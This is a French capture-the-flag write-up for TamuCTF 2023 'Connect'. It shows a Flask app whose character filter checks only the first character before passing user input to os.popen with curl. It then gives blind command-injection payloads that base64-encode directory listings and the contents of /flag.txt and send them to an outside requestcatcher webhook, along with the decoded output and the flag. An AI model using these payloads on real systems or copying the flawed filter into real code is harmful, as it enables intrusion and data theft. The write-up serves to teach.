Cover Image

TamuCTF 2023 - Connect


Énoncé

Dans ce challenge, on nous a donné un fichier qui contient l’application Flask. Voici un aperçu de l’application app.py:

import flask
import os

def escape_shell_cmd(data):
    for char in data:
        if char in '&#;`|*?~<>^()[]{}$\\':
            return False
        else:
            return True

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    return flask.render_template('index.html')

@app.route('/api/curl', methods=['POST'])
def curl():
    url = flask.request.form.get('ip')
    if escape_shell_cmd(url):
        command = "curl -s -D - -o /dev/null " + url + " | grep -oP '^HTTP.+[0-9]{3}'"
        output = os.popen(command).read().strip()
        if 'HTTP' not in output:
            return flask.jsonify({'message': 'Error: No response'})
        return flask.jsonify({'message': output})

    else:
        return flask.jsonify({'message': 'Illegal Characters Detected'})

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8001)

Cette application permet de vérifier si un site web est en ligne ou non grâce à une requête curl depuis la route /api/curl.

Cependant on peut remarquer que la fonction escape_shell_cmd() à très mal été pensée puisque l’instruction return permet de quitter la fonction et de retourner une valeur. Donc la fonction va juste comparer le premier caractère de l’url, ce qui nous permet d’injecter du code malveillant. Cependant on aura aucun résultat et aucune sortie de la commande puisque on aura seulement la ligne qui contient HTTP. Ici on peut exploiter une RCE à l’aveugle.

Exploitation:

Pour exploiter l’application, il me faut un webhook, je vais utiliser requestcatcher.com.

Avant tout, voici à quoi ressemble l’interface:

En envoyant le payload suivant:

https://balgo.requestcatcher.com/$(ls -l | base64 -w0)

On obtient une donnée sur le webhook:

GET /dG90YWwgMTIKLXJ3LXJ3LXItLS4gICAgMSByb290IHJvb3QgIDg2NyBBcHIgMjggMDQ6MzcgYXBwLnB5CmRyd3hyLXhyLXguICAgIDEgcm9vdCByb290ICAgIDYgQXByIDEyIDA3OjA2IGJpbgpkcnd4ci14ci14LiAgICAyIHJvb3Qgcm9vdCAgICA2IFNlcCAgMyAgMjAyMiBib290CmRyd3hyLXhyLXguICAgIDUgcm9vdCByb290ICAxMjAgQXByIDI5IDAxOjUzIGRldgpkcnd4ci14ci14LiAgICAxIHJvb3Qgcm9vdCAgIDY2IEFwciAyOCAwNzozMiBldGMKLXJ3LXJ3LXItLS4gICAgMSByb290IHJvb3QgICA0MyBBcHIgMjggMDQ6MzcgZmxhZy50eHQKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBTZXAgIDMgIDIwMjIgaG9tZQpkcnd4ci14ci14LiAgICAxIHJvb3Qgcm9vdCAgIDMwIEFwciAxMiAwNzowNiBsaWIKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAzNCBBcHIgMTEgMDA6MDAgbGliNjQKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBBcHIgMTEgMDA6MDAgbWVkaWEKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBBcHIgMTEgMDA6MDAgbW50CmRyd3hyLXhyLXguICAgIDIgcm9vdCByb290ICAgIDYgQXByIDExIDAwOjAwIG9wdApkci14ci14ci14LiAxMTQzIHJvb3Qgcm9vdCAgICAwIEFwciAyOCAwNzozMiBwcm9jCmRyd3gtLS0tLS0uICAgIDEgcm9vdCByb290ICAgMjAgQXByIDI4IDA1OjQzIHJvb3QKZHJ3eHIteHIteC4gICAgMyByb290IHJvb3QgICAzMCBBcHIgMTEgMDA6MDAgcnVuCmRyd3hyLXhyLXguICAgIDIgcm9vdCByb290IDQwOTYgQXByIDExIDAwOjAwIHNiaW4KZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBBcHIgMTEgMDA6MDAgc3J2CmRyd3hyd3hyLXguICAgIDIgcm9vdCByb290ICAgMzggQXByIDI4IDA0OjM3IHN0YXRpYwpkci14ci14ci14LiAgIDEzIHJvb3Qgcm9vdCAgICAwIEFwciAyNiAwMjowNiBzeXMKZHJ3eHJ3eHIteC4gICAgMiByb290IHJvb3QgICAyNCBBcHIgMjggMDQ6MzcgdGVtcGxhdGVzCmRyd3hyd3hyd3QuICAgIDEgcm9vdCByb290ICAgIDYgQXByIDI4IDA1OjQzIHRtcApkcnd4ci14ci14LiAgICAxIHJvb3Qgcm9vdCAgIDU0IEFwciAxMSAwMDowMCB1c3IKZHJ3eHIteHIteC4gICAgMSByb290IHJvb3QgICA0MSBBcHIgMTEgMDA6MDAgdmFyCg== HTTP/1.1

Host: balgo.requestcatcher.com

Accept: */*

User-Agent: curl/7.64.0

ET en déchiffrant la donnée en base64 nous reçevons la donnée suivante:

total 12
-rw-rw-r--.    1 root root  867 Apr 28 04:37 app.py
drwxr-xr-x.    1 root root    6 Apr 12 07:06 bin
drwxr-xr-x.    2 root root    6 Sep  3  2022 boot
drwxr-xr-x.    5 root root  120 Apr 29 01:53 dev
drwxr-xr-x.    1 root root   66 Apr 28 07:32 etc
-rw-rw-r--.    1 root root   43 Apr 28 04:37 flag.txt
drwxr-xr-x.    2 root root    6 Sep  3  2022 home
drwxr-xr-x.    1 root root   30 Apr 12 07:06 lib
drwxr-xr-x.    2 root root   34 Apr 11 00:00 lib64
drwxr-xr-x.    2 root root    6 Apr 11 00:00 media
drwxr-xr-x.    2 root root    6 Apr 11 00:00 mnt
drwxr-xr-x.    2 root root    6 Apr 11 00:00 opt
dr-xr-xr-x. 1143 root root    0 Apr 28 07:32 proc
drwx------.    1 root root   20 Apr 28 05:43 root
drwxr-xr-x.    3 root root   30 Apr 11 00:00 run
drwxr-xr-x.    2 root root 4096 Apr 11 00:00 sbin
drwxr-xr-x.    2 root root    6 Apr 11 00:00 srv
drwxrwxr-x.    2 root root   38 Apr 28 04:37 static
dr-xr-xr-x.   13 root root    0 Apr 26 02:06 sys
drwxrwxr-x.    2 root root   24 Apr 28 04:37 templates
drwxrwxrwt.    1 root root    6 Apr 28 05:43 tmp
drwxr-xr-x.    1 root root   54 Apr 11 00:00 usr
drwxr-xr-x.    1 root root   41 Apr 11 00:00 var

Nous avons réussi à exécuter du code malveillant et afficher la liste des fichiers. Nous repérons rapidement le fichier flag.txt qui contient notre flag donc on va l’afficher avec le payload suivant toujours avec le webhook:

https://balgo.requestcatcher.com/$(cat /flag.txt | base64 -w0)

Et voici ce qu’on obtient à nouveau:

GET /Z2lnZW17cDAwcl9mMWx0M3JzX200azNfZjByX3AwMHJfczNjdXIxdHl9Cg== HTTP/1.1

Host: balgo.requestcatcher.com

Accept: */*

User-Agent: curl/7.64.0

Qui nous donne une fois décodé:

gigem{p00r_f1lt3rs_m4k3_f0r_p00r_s3cur1ty}

Donc le flag est gigem{p00r_f1lt3rs_m4k3_f0r_p00r_s3cur1ty}